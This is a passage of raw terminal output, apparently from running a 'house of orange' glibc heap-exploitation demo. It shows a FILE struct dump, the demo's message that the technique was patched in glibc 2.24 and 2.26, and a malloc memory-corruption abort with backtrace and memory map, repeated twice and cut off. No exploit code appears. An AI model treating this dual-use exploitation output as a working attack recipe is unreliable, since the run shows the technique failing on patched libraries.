_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196319,
_cur_column = 0,
_vtable_offset = 0
'\000'
,
_shortbuf =
""
,
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 =
'\000'
<repeats 19 times>
}
+0x00d8 vtable : 0x602460
root@80a2cd56d41b:~
/selph
# ./house_of_orange.bak
The attack vector of this technique was removed by changing the behavior of malloc_printerr,
which
is no longer calling _IO_flush_all_lockp,
in
91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https:
//sourceware
.org
/git/
?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error
in
`.
/house_of_orange
.bak': malloc(): memory corruption: 0x00007fa8e8eb0520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc
.so.6(+0x777f5)[0x7fa8e8b627f5]
/lib/x86_64-linux-gnu/libc
.so.6(+0x8215e)[0x7fa8e8b6d15e]
/lib/x86_64-linux-gnu/libc
.so.6(__libc_malloc+0x54)[0x7fa8e8b6f1d4]
.
/house_of_orange
.bak[0x4007d8]
/lib/x86_64-linux-gnu/libc
.so.6(__libc_start_main+0xf0)[0x7fa8e8b0b840]
.
/house_of_orange
.bak[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:20 13067
/root/selph/house_of_orange
.bak
00600000-00601000 r--p 00000000 08:20 13067
/root/selph/house_of_orange
.bak
00601000-00602000 rw-p 00001000 08:20 13067
/root/selph/house_of_orange
.bak
02114000-02157000 rw-p 00000000 00:00 0 [heap]
7fa8e4000000-7fa8e4021000 rw-p 00000000 00:00 0
7fa8e4021000-7fa8e8000000 ---p 00000000 00:00 0
7fa8e88d5000-7fa8e88eb000 r-xp 00000000 08:40 1029
/lib/x86_64-linux-gnu/libgcc_s
.so.1
7fa8e88eb000-7fa8e8aea000 ---p 00016000 08:40 1029
/lib/x86_64-linux-gnu/libgcc_s
.so.1
7fa8e8aea000-7fa8e8aeb000 rw-p 00015000 08:40 1029
/lib/x86_64-linux-gnu/libgcc_s
.so.1
7fa8e8aeb000-7fa8e8cab000 r-xp 00000000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8cab000-7fa8e8eab000 ---p 001c0000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8eab000-7fa8e8eaf000 r--p 001c0000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8eaf000-7fa8e8eb1000 rw-p 001c4000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8eb1000-7fa8e8eb5000 rw-p 00000000 00:00 0
7fa8e8eb5000-7fa8e8edb000 r-xp 00000000 08:40 988
/lib/x86_64-linux-gnu/ld-2
.23.so
7fa8e90d4000-7fa8e90d7000 rw-p 00000000 00:00 0
7fa8e90d9000-7fa8e90da000 rw-p 00000000 00:00 0
7fa8e90da000-7fa8e90db000 r--p 00025000 08:40 988
/lib/x86_64-linux-gnu/ld-2
.23.so
7fa8e90db000-7fa8e90dc000 rw-p 00026000 08:40 988
/lib/x86_64-linux-gnu/ld-2
.23.so
7fa8e90dc000-7fa8e90dd000 rw-p 00000000 00:00 0
7ffd1ebe7000-7ffd1ec08000 rw-p 00000000 00:00 0 [stack]
7ffd1ec52000-7ffd1ec56000 r--p 00000000 00:00 0 [vvar]
7ffd1ec56000-7ffd1ec58000 r-xp 00000000 00:00 0 [vdso]
# w
07:55:08 up 5:37, 0
users
, load average: 0.30, 0.08, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root@80a2cd56d41b:~
/selph
# ./house_of_orange.bak
The attack vector of this technique was removed by changing the behavior of malloc_printerr,
which
is no longer calling _IO_flush_all_lockp,
in
91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https:
//sourceware
.org
/git/
?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error
in
`.
/house_of_orange
.bak': malloc(): memory corruption: 0x00007fa8e8eb0520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc
.so.6(+0x777f5)[0x7fa8e8b627f5]
/lib/x86_64-linux-gnu/libc
.so.6(+0x8215e)[0x7fa8e8b6d15e]
/lib/x86_64-linux-gnu/libc
.so.6(__libc_malloc+0x54)[0x7fa8e8b6f1d4]
.
/house_of_orange
.bak[0x4007d8]
/lib/x86_64-linux-gnu/libc
.so.6(__libc_start_main+0xf0)[0x7fa8e8b0b840]
.
/house_of_orange
.bak[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:20 13067
/root/selph/house_of_orange
.bak
00600000-00601000 r--p 00000000 08:20 13067
/root/selph/house_of_orange
.bak
00601000-00602000 rw-p 00001000 08:20 13067
/root/selph/house_of_orange
.bak
02114000-02157000 rw-p 00000000 00:00 0 [heap]
7fa8e4000000-7fa8e4021000 rw-p 00000000 00:00 0
7fa8e4021000-7fa8e8000000 ---p 00000000 00:00 0
7fa8e88d5000-7fa8e88eb000 r-xp 00000000 08:40 1029
/lib/x86_64-linux-gnu/libgcc_s
.so.1
7fa8e88eb000-7fa8e8aea000 ---p 00016000 08:40 1029
/lib/x86_64-linux-gnu/libgcc_s
.so.1
7fa8e8aea000-7fa8e8aeb000 rw-p 00015000 08:40 1029
/lib/x86_64-linux-gnu/libgcc_s
.so.1
7fa8e8aeb000-7fa8e8cab000 r-xp 00000000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8cab000-7fa8e8eab000 ---p 001c0000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8eab000-7fa8e8eaf000 r--p 001c0000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8eaf000-7fa8e8eb1000 rw-p 001c4000 08:40 1008
/lib/x86_64-linux-gnu/libc-2
.23.so
7fa8e8eb1000-7fa8e8eb5000 rw-p 00000000 00:00 0
7fa8e8eb5000-7fa8e8edb000 r-xp 00000000 08:40 988
/lib/x86_64-linux-gnu/ld-2
.23.so